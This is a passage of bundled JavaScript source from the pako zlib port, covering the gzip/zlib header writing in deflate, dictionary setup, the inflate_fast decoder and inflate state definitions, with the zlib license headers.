put_byte(s, 0);\n put_byte(s, 0);\n put_byte(s, 0);\n put_byte(s, 0);\n put_byte(s, s.level === 9 ? 2 :\n (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ?\n 4 : 0));\n put_byte(s, OS_CODE);\n s.status = BUSY_STATE;\n }\n else {\n put_byte(s, (s.gzhead.text ? 1 : 0) +\n (s.gzhead.hcrc ? 2 : 0) +\n (!s.gzhead.extra ? 0 : 4) +\n (!s.gzhead.name ? 0 : 8) +\n (!s.gzhead.comment ? 0 : 16)\n );\n put_byte(s, s.gzhead.time & 0xff);\n put_byte(s, (s.gzhead.time >> 8) & 0xff);\n put_byte(s, (s.gzhead.time >> 16) & 0xff);\n put_byte(s, (s.gzhead.time >> 24) & 0xff);\n put_byte(s, s.level === 9 ? 2 :\n (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ?\n 4 : 0));\n put_byte(s, s.gzhead.os & 0xff);\n if (s.gzhead.extra && s.gzhead.extra.length) {\n put_byte(s, s.gzhead.extra.length & 0xff);\n put_byte(s, (s.gzhead.extra.length >> 8) & 0xff);\n }\n if (s.gzhead.hcrc) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending, 0);\n }\n s.gzindex = 0;\n s.status = EXTRA_STATE;\n }\n }\n else // DEFLATE header\n {\n var header = (Z_DEFLATED + ((s.w_bits - 8) << 4)) << 8;\n var level_flags = -1;\n\n if (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2) {\n level_flags = 0;\n } else if (s.level < 6) {\n level_flags = 1;\n } else if (s.level === 6) {\n level_flags = 2;\n } else {\n level_flags = 3;\n }\n header |= (level_flags << 6);\n if (s.strstart !== 0) { header |= PRESET_DICT; }\n header += 31 - (header % 31);\n\n s.status = BUSY_STATE;\n putShortMSB(s, header);\n\n /* Save the adler32 of the preset dictionary: */\n if (s.strstart !== 0) {\n putShortMSB(s, strm.adler >>> 16);\n putShortMSB(s, strm.adler & 0xffff);\n }\n strm.adler = 1; // adler32(0L, Z_NULL, 0);\n }\n }\n\n//#ifdef GZIP\n if (s.status === EXTRA_STATE) {\n if (s.gzhead.extra/* != Z_NULL*/) {\n beg = s.pending; /* start of bytes to update crc */\n\n while (s.gzindex < (s.gzhead.extra.length & 0xffff)) {\n if (s.pending === s.pending_buf_size) {\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n flush_pending(strm);\n beg = s.pending;\n if (s.pending === s.pending_buf_size) {\n break;\n }\n }\n put_byte(s, s.gzhead.extra[s.gzindex] & 0xff);\n s.gzindex++;\n }\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n if (s.gzindex === s.gzhead.extra.length) {\n s.gzindex = 0;\n s.status = NAME_STATE;\n }\n }\n else {\n s.status = NAME_STATE;\n }\n }\n if (s.status === NAME_STATE) {\n if (s.gzhead.name/* != Z_NULL*/) {\n beg = s.pending; /* start of bytes to update crc */\n //int val;\n\n do {\n if (s.pending === s.pending_buf_size) {\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n flush_pending(strm);\n beg = s.pending;\n if (s.pending === s.pending_buf_size) {\n val = 1;\n break;\n }\n }\n // JS specific: little magic to add zero terminator to end of string\n if (s.gzindex < s.gzhead.name.length) {\n val = s.gzhead.name.charCodeAt(s.gzindex++) & 0xff;\n } else {\n val = 0;\n }\n put_byte(s, val);\n } while (val !== 0);\n\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n if (val === 0) {\n s.gzindex = 0;\n s.status = COMMENT_STATE;\n }\n }\n else {\n s.status = COMMENT_STATE;\n }\n }\n if (s.status === COMMENT_STATE) {\n if (s.gzhead.comment/* != Z_NULL*/) {\n beg = s.pending; /* start of bytes to update crc */\n //int val;\n\n do {\n if (s.pending === s.pending_buf_size) {\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n flush_pending(strm);\n beg = s.pending;\n if (s.pending === s.pending_buf_size) {\n val = 1;\n break;\n }\n }\n // JS specific: little magic to add zero terminator to end of string\n if (s.gzindex < s.gzhead.comment.length) {\n val = s.gzhead.comment.charCodeAt(s.gzindex++) & 0xff;\n } else {\n val = 0;\n }\n put_byte(s, val);\n } while (val !== 0);\n\n if (s.gzhead.hcrc && s.pending > beg) {\n strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg);\n }\n if (val === 0) {\n s.status = HCRC_STATE;\n }\n }\n else {\n s.status = HCRC_STATE;\n }\n }\n if (s.status === HCRC_STATE) {\n if (s.gzhead.hcrc) {\n if (s.pending + 2 > s.pending_buf_size) {\n flush_pending(strm);\n }\n if (s.pending + 2 <= s.pending_buf_size) {\n put_byte(s, strm.adler & 0xff);\n put_byte(s, (strm.adler >> 8) & 0xff);\n strm.adler = 0; //crc32(0L, Z_NULL, 0);\n s.status = BUSY_STATE;\n }\n }\n else {\n s.status = BUSY_STATE;\n }\n }\n//#endif\n\n /* Flush as much pending output as possible */\n if (s.pending !== 0) {\n flush_pending(strm);\n if (strm.avail_out === 0) {\n /* Since avail_out is 0, deflate will be called again with\n * more output space, but possibly with both pending and\n * avail_in equal to zero. There won't be anything to do,\n * but this is not an error situation so make sure we\n * return OK instead of BUF_ERROR at next call of deflate:\n */\n s.last_flush = -1;\n return Z_OK;\n }\n\n /* Make sure there is something to do and avoid duplicate consecutive\n * flushes. For repeated and useless calls with Z_FINISH, we keep\n * returning Z_STREAM_END instead of Z_BUF_ERROR.\n */\n } else if (strm.avail_in === 0 && rank(flush) <= rank(old_flush) &&\n flush !== Z_FINISH) {\n return err(strm, Z_BUF_ERROR);\n }\n\n /* User must not provide more input after the first FINISH: */\n if (s.status === FINISH_STATE && strm.avail_in !== 0) {\n return err(strm, Z_BUF_ERROR);\n }\n\n /* Start a new block or continue the current one.\n */\n if (strm.avail_in !== 0 || s.lookahead !== 0 ||\n (flush !== Z_NO_FLUSH && s.status !== FINISH_STATE)) {\n var bstate = (s.strategy === Z_HUFFMAN_ONLY) ? deflate_huff(s, flush) :\n (s.strategy === Z_RLE ? deflate_rle(s, flush) :\n configuration_table[s.level].func(s, flush));\n\n if (bstate === BS_FINISH_STARTED || bstate === BS_FINISH_DONE) {\n s.status = FINISH_STATE;\n }\n if (bstate === BS_NEED_MORE || bstate === BS_FINISH_STARTED) {\n if (strm.avail_out === 0) {\n s.last_flush = -1;\n /* avoid BUF_ERROR next call, see above */\n }\n return Z_OK;\n /* If flush != Z_NO_FLUSH && avail_out == 0, the next call\n * of deflate should use the same flush parameter to make sure\n * that the flush is complete. So we don't have to output an\n * empty block here, this will be done at next call. This also\n * ensures that for a very small output buffer, we emit at most\n * one empty block.\n */\n }\n if (bstate === BS_BLOCK_DONE) {\n if (flush === Z_PARTIAL_FLUSH) {\n trees._tr_align(s);\n }\n else if (flush !== Z_BLOCK) { /* FULL_FLUSH or SYNC_FLUSH */\n\n trees._tr_stored_block(s, 0, 0, false);\n /* For a full flush, this empty block will be recognized\n * as a special marker by inflate_sync().\n */\n if (flush === Z_FULL_FLUSH) {\n /*** CLEAR_HASH(s); ***/ /* forget history */\n zero(s.head); // Fill with NIL (= 0);\n\n if (s.lookahead === 0) {\n s.strstart = 0;\n s.block_start = 0;\n s.insert = 0;\n }\n }\n }\n flush_pending(strm);\n if (strm.avail_out === 0) {\n s.last_flush = -1; /* avoid BUF_ERROR at next call, see above */\n return Z_OK;\n }\n }\n }\n //Assert(strm->avail_out > 0, \"bug2\");\n //if (strm.avail_out <= 0) { throw new Error(\"bug2\");}\n\n if (flush !== Z_FINISH) { return Z_OK; }\n if (s.wrap <= 0) { return Z_STREAM_END; }\n\n /* Write the trailer */\n if (s.wrap === 2) {\n put_byte(s, strm.adler & 0xff);\n put_byte(s, (strm.adler >> 8) & 0xff);\n put_byte(s, (strm.adler >> 16) & 0xff);\n put_byte(s, (strm.adler >> 24) & 0xff);\n put_byte(s, strm.total_in & 0xff);\n put_byte(s, (strm.total_in >> 8) & 0xff);\n put_byte(s, (strm.total_in >> 16) & 0xff);\n put_byte(s, (strm.total_in >> 24) & 0xff);\n }\n else\n {\n putShortMSB(s, strm.adler >>> 16);\n putShortMSB(s, strm.adler & 0xffff);\n }\n\n flush_pending(strm);\n /* If avail_out is zero, the application will call deflate again\n * to flush the rest.\n */\n if (s.wrap > 0) { s.wrap = -s.wrap; }\n /* write the trailer only once! */\n return s.pending !== 0 ? Z_OK : Z_STREAM_END;\n}\n\nfunction deflateEnd(strm) {\n var status;\n\n if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) {\n return Z_STREAM_ERROR;\n }\n\n status = strm.state.status;\n if (status !== INIT_STATE &&\n status !== EXTRA_STATE &&\n status !== NAME_STATE &&\n status !== COMMENT_STATE &&\n status !== HCRC_STATE &&\n status !== BUSY_STATE &&\n status !== FINISH_STATE\n ) {\n return err(strm, Z_STREAM_ERROR);\n }\n\n strm.state = null;\n\n return status === BUSY_STATE ? err(strm, Z_DATA_ERROR) : Z_OK;\n}\n\n\n/* =========================================================================\n * Initializes the compression dictionary from the given byte\n * sequence without producing any compressed output.\n */\nfunction deflateSetDictionary(strm, dictionary) {\n var dictLength = dictionary.length;\n\n var s;\n var str, n;\n var wrap;\n var avail;\n var next;\n var input;\n var tmpDict;\n\n if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) {\n return Z_STREAM_ERROR;\n }\n\n s = strm.state;\n wrap = s.wrap;\n\n if (wrap === 2 || (wrap === 1 && s.status !== INIT_STATE) || s.lookahead) {\n return Z_STREAM_ERROR;\n }\n\n /* when using zlib wrappers, compute Adler-32 for provided dictionary */\n if (wrap === 1) {\n /* adler32(strm->adler, dictionary, dictLength); */\n strm.adler = adler32(strm.adler, dictionary, dictLength, 0);\n }\n\n s.wrap = 0; /* avoid computing Adler-32 in read_buf */\n\n /* if dictionary would fill window, just replace the history */\n if (dictLength >= s.w_size) {\n if (wrap === 0) { /* already empty otherwise */\n /*** CLEAR_HASH(s); ***/\n zero(s.head); // Fill with NIL (= 0);\n s.strstart = 0;\n s.block_start = 0;\n s.insert = 0;\n }\n /* use the tail */\n // dictionary = dictionary.slice(dictLength - s.w_size);\n tmpDict = new utils.Buf8(s.w_size);\n utils.arraySet(tmpDict, dictionary, dictLength - s.w_size, s.w_size, 0);\n dictionary = tmpDict;\n dictLength = s.w_size;\n }\n /* insert dictionary into window and hash */\n avail = strm.avail_in;\n next = strm.next_in;\n input = strm.input;\n strm.avail_in = dictLength;\n strm.next_in = 0;\n strm.input = dictionary;\n fill_window(s);\n while (s.lookahead >= MIN_MATCH) {\n str = s.strstart;\n n = s.lookahead - (MIN_MATCH - 1);\n do {\n /* UPDATE_HASH(s, s->ins_h, s->window[str + MIN_MATCH-1]); */\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask;\n\n s.prev[str & s.w_mask] = s.head[s.ins_h];\n\n s.head[s.ins_h] = str;\n str++;\n } while (--n);\n s.strstart = str;\n s.lookahead = MIN_MATCH - 1;\n fill_window(s);\n }\n s.strstart += s.lookahead;\n s.block_start = s.strstart;\n s.insert = s.lookahead;\n s.lookahead = 0;\n s.match_length = s.prev_length = MIN_MATCH - 1;\n s.match_available = 0;\n strm.next_in = next;\n strm.input = input;\n strm.avail_in = avail;\n s.wrap = wrap;\n return Z_OK;\n}\n\n\nexports.deflateInit = deflateInit;\nexports.deflateInit2 = deflateInit2;\nexports.deflateReset = deflateReset;\nexports.deflateResetKeep = deflateResetKeep;\nexports.deflateSetHeader = deflateSetHeader;\nexports.deflate = deflate;\nexports.deflateEnd = deflateEnd;\nexports.deflateSetDictionary = deflateSetDictionary;\nexports.deflateInfo = 'pako deflate (from Nodeca project)';\n\n/* Not implemented\nexports.deflateBound = deflateBound;\nexports.deflateCopy = deflateCopy;\nexports.deflateParams = deflateParams;\nexports.deflatePending = deflatePending;\nexports.deflatePrime = deflatePrime;\nexports.deflateTune = deflateTune;\n*/\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\n// See state defs from inflate.js\nvar BAD = 30; /* got a data error -- remain here until reset */\nvar TYPE = 12; /* i: waiting for type bits, including last-flag bit */\n\n/*\n Decode literal, length, and distance codes and write out the resulting\n literal and match bytes until either not enough input or output is\n available, an end-of-block is encountered, or a data error is encountered.\n When large enough input and output buffers are supplied to inflate(), for\n example, a 16K input buffer and a 64K output buffer, more than 95% of the\n inflate execution time is spent in this routine.\n\n Entry assumptions:\n\n state.mode === LEN\n strm.avail_in >= 6\n strm.avail_out >= 258\n start >= strm.avail_out\n state.bits < 8\n\n On return, state.mode is one of:\n\n LEN -- ran out of enough output space or enough available input\n TYPE -- reached end of block code, inflate() to interpret next block\n BAD -- error in block data\n\n Notes:\n\n - The maximum input bits used by a length/distance pair is 15 bits for the\n length code, 5 bits for the length extra, 15 bits for the distance code,\n and 13 bits for the distance extra. This totals 48 bits, or six bytes.\n Therefore if strm.avail_in >= 6, then there is enough input to avoid\n checking for available input while decoding.\n\n - The maximum bytes that a single length/distance pair can output is 258\n bytes, which is the maximum length that can be coded. inflate_fast()\n requires strm.avail_out >= 258 for each loop to avoid checking for\n output space.\n */\nmodule.exports = function inflate_fast(strm, start) {\n var state;\n var _in; /* local strm.input */\n var last; /* have enough input while in < last */\n var _out; /* local strm.output */\n var beg; /* inflate()'s initial strm.output */\n var end; /* while out < end, enough space available */\n//#ifdef INFLATE_STRICT\n var dmax; /* maximum distance from zlib header */\n//#endif\n var wsize; /* window size or zero if not using window */\n var whave; /* valid bytes in the window */\n var wnext; /* window write index */\n // Use `s_window` instead `window`, avoid conflict with instrumentation tools\n var s_window; /* allocated sliding window, if wsize != 0 */\n var hold; /* local strm.hold */\n var bits; /* local strm.bits */\n var lcode; /* local strm.lencode */\n var dcode; /* local strm.distcode */\n var lmask; /* mask for first level of length codes */\n var dmask; /* mask for first level of distance codes */\n var here; /* retrieved table entry */\n var op; /* code bits, operation, extra bits, or */\n /* window position, window bytes to copy */\n var len; /* match length, unused bytes */\n var dist; /* match distance */\n var from; /* where to copy match from */\n var from_source;\n\n\n var input, output; // JS specific, because we have no pointers\n\n /* copy state to local variables */\n state = strm.state;\n //here = state.here;\n _in = strm.next_in;\n input = strm.input;\n last = _in + (strm.avail_in - 5);\n _out = strm.next_out;\n output = strm.output;\n beg = _out - (start - strm.avail_out);\n end = _out + (strm.avail_out - 257);\n//#ifdef INFLATE_STRICT\n dmax = state.dmax;\n//#endif\n wsize = state.wsize;\n whave = state.whave;\n wnext = state.wnext;\n s_window = state.window;\n hold = state.hold;\n bits = state.bits;\n lcode = state.lencode;\n dcode = state.distcode;\n lmask = (1 << state.lenbits) - 1;\n dmask = (1 << state.distbits) - 1;\n\n\n /* decode literals and length/distances until end-of-block or not enough\n input data or output space */\n\n top:\n do {\n if (bits < 15) {\n hold += input[_in++] << bits;\n bits += 8;\n hold += input[_in++] << bits;\n bits += 8;\n }\n\n here = lcode[hold & lmask];\n\n dolen:\n for (;;) { // Goto emulation\n op = here >>> 24/*here.bits*/;\n hold >>>= op;\n bits -= op;\n op = (here >>> 16) & 0xff/*here.op*/;\n if (op === 0) { /* literal */\n //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?\n // \"inflate: literal '%c'\\n\" :\n // \"inflate: literal 0x%02x\\n\", here.val));\n output[_out++] = here & 0xffff/*here.val*/;\n }\n else if (op & 16) { /* length base */\n len = here & 0xffff/*here.val*/;\n op &= 15; /* number of extra bits */\n if (op) {\n if (bits < op) {\n hold += input[_in++] << bits;\n bits += 8;\n }\n len += hold & ((1 << op) - 1);\n hold >>>= op;\n bits -= op;\n }\n //Tracevv((stderr, \"inflate: length %u\\n\", len));\n if (bits < 15) {\n hold += input[_in++] << bits;\n bits += 8;\n hold += input[_in++] << bits;\n bits += 8;\n }\n here = dcode[hold & dmask];\n\n dodist:\n for (;;) { // goto emulation\n op = here >>> 24/*here.bits*/;\n hold >>>= op;\n bits -= op;\n op = (here >>> 16) & 0xff/*here.op*/;\n\n if (op & 16) { /* distance base */\n dist = here & 0xffff/*here.val*/;\n op &= 15; /* number of extra bits */\n if (bits < op) {\n hold += input[_in++] << bits;\n bits += 8;\n if (bits < op) {\n hold += input[_in++] << bits;\n bits += 8;\n }\n }\n dist += hold & ((1 << op) - 1);\n//#ifdef INFLATE_STRICT\n if (dist > dmax) {\n strm.msg = 'invalid distance too far back';\n state.mode = BAD;\n break top;\n }\n//#endif\n hold >>>= op;\n bits -= op;\n //Tracevv((stderr, \"inflate: distance %u\\n\", dist));\n op = _out - beg; /* max distance in output */\n if (dist > op) { /* see if copy from window */\n op = dist - op; /* distance back in window */\n if (op > whave) {\n if (state.sane) {\n strm.msg = 'invalid distance too far back';\n state.mode = BAD;\n break top;\n }\n\n// (!) This block is disabled in zlib defaults,\n// don't enable it for binary compatibility\n//#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR\n// if (len <= op - whave) {\n// do {\n// output[_out++] = 0;\n// } while (--len);\n// continue top;\n// }\n// len -= op - whave;\n// do {\n// output[_out++] = 0;\n// } while (--op > whave);\n// if (op === 0) {\n// from = _out - dist;\n// do {\n// output[_out++] = output[from++];\n// } while (--len);\n// continue top;\n// }\n//#endif\n }\n from = 0; // window index\n from_source = s_window;\n if (wnext === 0) { /* very common case */\n from += wsize - op;\n if (op < len) { /* some from window */\n len -= op;\n do {\n output[_out++] = s_window[from++];\n } while (--op);\n from = _out - dist; /* rest from output */\n from_source = output;\n }\n }\n else if (wnext < op) { /* wrap around window */\n from += wsize + wnext - op;\n op -= wnext;\n if (op < len) { /* some from end of window */\n len -= op;\n do {\n output[_out++] = s_window[from++];\n } while (--op);\n from = 0;\n if (wnext < len) { /* some from start of window */\n op = wnext;\n len -= op;\n do {\n output[_out++] = s_window[from++];\n } while (--op);\n from = _out - dist; /* rest from output */\n from_source = output;\n }\n }\n }\n else { /* contiguous in window */\n from += wnext - op;\n if (op < len) { /* some from window */\n len -= op;\n do {\n output[_out++] = s_window[from++];\n } while (--op);\n from = _out - dist; /* rest from output */\n from_source = output;\n }\n }\n while (len > 2) {\n output[_out++] = from_source[from++];\n output[_out++] = from_source[from++];\n output[_out++] = from_source[from++];\n len -= 3;\n }\n if (len) {\n output[_out++] = from_source[from++];\n if (len > 1) {\n output[_out++] = from_source[from++];\n }\n }\n }\n else {\n from = _out - dist; /* copy direct from output */\n do { /* minimum length is three */\n output[_out++] = output[from++];\n output[_out++] = output[from++];\n output[_out++] = output[from++];\n len -= 3;\n } while (len > 2);\n if (len) {\n output[_out++] = output[from++];\n if (len > 1) {\n output[_out++] = output[from++];\n }\n }\n }\n }\n else if ((op & 64) === 0) { /* 2nd level distance code */\n here = dcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];\n continue dodist;\n }\n else {\n strm.msg = 'invalid distance code';\n state.mode = BAD;\n break top;\n }\n\n break; // need to emulate goto via \"continue\"\n }\n }\n else if ((op & 64) === 0) { /* 2nd level length code */\n here = lcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];\n continue dolen;\n }\n else if (op & 32) { /* end-of-block */\n //Tracevv((stderr, \"inflate: end of block\\n\"));\n state.mode = TYPE;\n break top;\n }\n else {\n strm.msg = 'invalid literal/length code';\n state.mode = BAD;\n break top;\n }\n\n break; // need to emulate goto via \"continue\"\n }\n } while (_in < last && _out < end);\n\n /* return unused bytes (on entry, bits < 8, so in won't go too far back) */\n len = bits >> 3;\n _in -= len;\n bits -= len << 3;\n hold &= (1 << bits) - 1;\n\n /* update state and return */\n strm.next_in = _in;\n strm.next_out = _out;\n strm.avail_in = (_in < last ? 5 + (last - _in) : 5 - (_in - last));\n strm.avail_out = (_out < end ? 257 + (end - _out) : 257 - (_out - end));\n state.hold = hold;\n state.bits = bits;\n return;\n};\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nvar utils = require('../utils/common');\nvar adler32 = require('./adler32');\nvar crc32 = require('./crc32');\nvar inflate_fast = require('./inffast');\nvar inflate_table = require('./inftrees');\n\nvar CODES = 0;\nvar LENS = 1;\nvar DISTS = 2;\n\n/* Public constants ==========================================================*/\n/* ===========================================================================*/\n\n\n/* Allowed flush values; see deflate() and inflate() below for details */\n//var Z_NO_FLUSH = 0;\n//var Z_PARTIAL_FLUSH = 1;\n//var Z_SYNC_FLUSH = 2;\n//var Z_FULL_FLUSH = 3;\nvar Z_FINISH = 4;\nvar Z_BLOCK = 5;\nvar Z_TREES = 6;\n\n\n/* Return codes for the compression/decompression functions. Negative values\n * are errors, positive values are used for special but normal events.\n */\nvar Z_OK = 0;\nvar Z_STREAM_END = 1;\nvar Z_NEED_DICT = 2;\n//var Z_ERRNO = -1;\nvar Z_STREAM_ERROR = -2;\nvar Z_DATA_ERROR = -3;\nvar Z_MEM_ERROR = -4;\nvar Z_BUF_ERROR = -5;\n//var Z_VERSION_ERROR = -6;\n\n/* The deflate compression method */\nvar Z_DEFLATED = 8;\n\n\n/* STATES ====================================================================*/\n/* ===========================================================================*/\n\n\nvar HEAD = 1; /* i: waiting for magic header */\nvar FLAGS = 2; /* i: waiting for method and flags (gzip) */\nvar TIME = 3; /* i: waiting for modification time (gzip) */\nvar OS = 4; /* i: waiting for extra flags and operating system (gzip) */\nvar EXLEN = 5; /* i: waiting for extra length (gzip) */\nvar EXTRA = 6; /* i: waiting for extra bytes (gzip) */\nvar NAME = 7; /* i: waiting for end of file name (gzip) */\nvar COMMENT = 8; /* i: waiting for end of comment (gzip) */\nvar HCRC = 9; /* i: waiting for header crc (gzip) */\nvar DICTID = 10; /* i: waiting for dictionary check value */\nvar DICT = 11; /* waiting for inflateSetDictionary() call */\nvar TYPE = 12; /* i: waiting for type bits, including last-flag bit */\nvar TYPEDO = 13; /* i: same, but skip check to exit inflate on new block */\nvar STORED = 14; /* i: waiting for stored size (length and complement) */\nvar COPY_ = 15; /* i/o: same as COPY below, but only first time in */\nvar COPY = 16; /* i/o: waiting for input or output to copy stored block */\nvar TABLE = 17; /* i: waiting for dynamic block table lengths */\nvar LENLENS = 18; /* i: waiting for code length code lengths */\nvar CODELENS = 19; /* i: waiting for length/lit and distance code lengths */\nvar LEN_ = 20; /* i: same as LEN below, but only first time in */\nvar LEN = 21; /* i: waiting for length/lit/eob code */\nvar LENEXT = 22; /* i: waiting for length extra bits */\nvar DIST = 23; /* i: waiting for distance code */\nvar DISTEXT = 24; /* i: waiting for distance extra bits */\nvar MATCH = 25; /* o: waiting for output space to copy string */\nvar LIT = 26; /* o: waiting for output space to write literal */\nvar CHECK = 27; /* i: waiting for 32-bit check value */\nvar LENGTH = 28; /* i: waiting for 32-bit length (gzip) */\nvar DONE = 29; /* finished check, done -- remain here until reset */\nvar BAD = 30; /* got a data error -- remain here until reset */\nvar MEM = 31; /* got an inflate() memory error -- remain here until reset */\nvar SYNC = 32; /* looking for synchronization bytes to restart inflate() */\n\n/* ===========================================================================*/\n\n\n\nvar ENOUGH_LENS = 852;\nvar ENOUGH_DISTS = 592;\n//var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);\n\nvar MAX_WBITS = 15;\n/* 32K LZ77 window */\nvar DEF_WBITS = MAX_WBITS;\n\n\nfunction zswap32(q) {\n return (((q >>> 24) & 0xff) +\n ((q >>> 8) & 0xff00) +\n ((q & 0xff00) << 8) +\n ((q & 0xff) << 24));\n}\n\n\nfunction InflateState() {\n this.mode = 0; /* current inflate mode */\n this.last = false; /* true if processing last block */\n this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */\n this.havedict = false; /* true if dictionary provided */\n this.flags = 0; /* gzip header method and flags (0 if zlib) */\n this.dmax = 0; /* zlib header max distance (INFLATE_STRICT) */\n this.check = 0; /* protected copy of check value */\n this.total = 0; /* protected copy of output count */\n // TODO: may be {}\n this.head = null; /* where to save gzip header information */\n\n /* sliding window */\n this.wbits = 0; /* log base 2 of requested window size */\n this.wsize = 0; /* window size or zero if not using window */\n this.whave = 0; /* valid bytes in the window */\n this.wnext = 0; /* window write index */\n this.window = null; /* allocated sliding window, if needed */\n\n /* bit accumulator */\n this.hold = 0; /* input bit accumulator */\n this.bits = 0; /* number of bits in \"in\" */\n\n /* for string and stored block copying */\n this.length = 0; /* literal or length of data to copy */\n this.offset = 0; /* distance back to copy string from */\n\n /* for table and code decoding */\n this.extra = 0; /* extra bits needed */\n\n /* fixed and dynamic code tables */\n this.lencode = null; /* starting table for length/literal codes */\n this.distcode = null; /* starting table for distance codes */\n this.lenbits = 0; /* index bits for lencode */\n this.distbits = 0; /* index bits for distcode */\n\n /* dynamic table building */\n this.ncode = 0; /* number of code length code lengths */\n this.nlen = 0; /* number of length code lengths */\n this.ndist = 0; /* number of distance code lengths */\n this.have = 0; /* number of code lengths in lens[] */\n this.next = null; /* next available space in codes[] */\n\n this.lens = new utils.Buf16(320); /* temporary storage for code lengths */\n this.work = new utils.Buf16(288); /* work area for code table building */\n\n /*\n because we don't have pointers in js, we use lencode and distcode directly\n as buffers so we don't need codes\n */\n //this.codes = new utils.Buf32(ENOUGH); /* space for code tables */\n this.lendyn = null; /* dynamic table for length/literal codes (JS specific) */\n this.distdyn = null; /* dynamic table for distance codes (JS specific) */\n this.sane = 0; /* if false, allow invalid distance too far */\n this.back = 0; /* bits back of last unprocessed length/lit */\n this.was = 0; /* initial length of match */\n}\n\nfunction inflateResetKeep(strm) {\n var state;\n\n if (!strm || !strm.state) { return Z_STREAM_ERROR; }\n state = strm.state;\n strm.total_in = strm.total_out = state.total = 0;\n strm.msg = ''; /*Z_NULL*/\n if (state.wrap) { /* to support ill-conceived Java test suite */\n strm.adler = state.wrap & 1;\n }\n state.mode = HEAD;\n state.last = 0;\n state.havedict = 0;\n state.dmax = 32768;\n state.head = null/*Z_NULL*/;\n state.hold = 0;\n state.bits = 0;\n //state.lencode = state.distcode = state.next = state.codes;\n state.lencode = state.lendyn = new utils.Buf32(ENOUGH_LENS);\n state.distcode = state.distdyn = new utils.Buf32(ENOUGH_DISTS);\n\n state.sane = 1;\n state.back = -1;\n //Tracev((stderr, \"inflate: reset\\n\"));\n return Z_OK;\n}\n\nfunction inflateReset(strm) {\n var state;\n\n if (!strm || !strm.state) { return Z_STREAM_ERROR; }\n state = strm.state;\n state.wsize = 0;\n state.whave = 0;\n state.wnext = 0;\n return inflateResetKeep(strm);\n\n}\n\nfunction inflateReset2(strm, windowBits) {\n var wrap;\n var state;\n\n /* get the state */\n if (!strm || !strm.state) { return Z_STREAM_ERROR; }\n state = strm.state;\n\n /* extract wrap request from windowBits parameter */\n if (windowBits < 0) {\n wrap = 0;\n windowBits = -windowBits;\n }\n else {\n wrap = (windowBits >> 4) + 1;\n if (windowBits < 48) {\n windowBits &= 15;\n }\n }\n\n /* set number of window bits, free window if different */\n if (windowBits && (windowBits < 8 || windowBits > 15)) {\n return Z_STREAM_ERROR;\n }\n if (state.window !== null && state.wbits !== windowBits) {\n state.window = null;\n }\n\n /* update state and reset the rest of it */\n state.wrap = wrap;\n state.wbits = windowBits;\n return inflateReset(strm);\n}\n\nfunction inflateInit2(strm, windowBits) {\n var ret;\n var state;\n\n if (!strm) { return Z_STREAM_ERROR; }\n //strm.msg = Z_NULL; /* in case we return an error */\n\n state = new InflateState();\n\n //if (state === Z_NULL) return Z_MEM_ERROR;\n //Tracev((stderr, \"inflate: allocated\\n\"));\n strm.state = state;\n state.window = null/*Z_NULL*/;\n ret = inflateReset2(strm, windowBits);\n if (ret !== Z_OK) {\n strm.state = null/*Z_NULL*/;\n }\n return ret;\n}\n\nfunction inflateInit(strm) {\n return inflateInit2(strm, DEF_WBITS);\n}\n\n\n/*\n Return state with length and distance decoding tables and index sizes set to\n fixed code decoding. Normally this returns fixed tables from inffixed.h.\n If BUILDFIXED is defined, then instead this routine builds the tables the\n first time it's called, and returns those tables the first time and\n thereafter. This reduces the size of the code by about 2K bytes, in\n exchange for a little execution time. However, BUILDFIXED should not be\n used for threaded applications, since the rewriting of the tables and virgin\n may not be thread-safe.\n */\nvar virgin = true;\n\nvar lenfix, distfix; // We have no pointers in JS, so keep tables separate\n\nfunction fixedtables(state) {\n /* build fixed huffman tables if first call (may not be thread safe) */\n if (virgin) 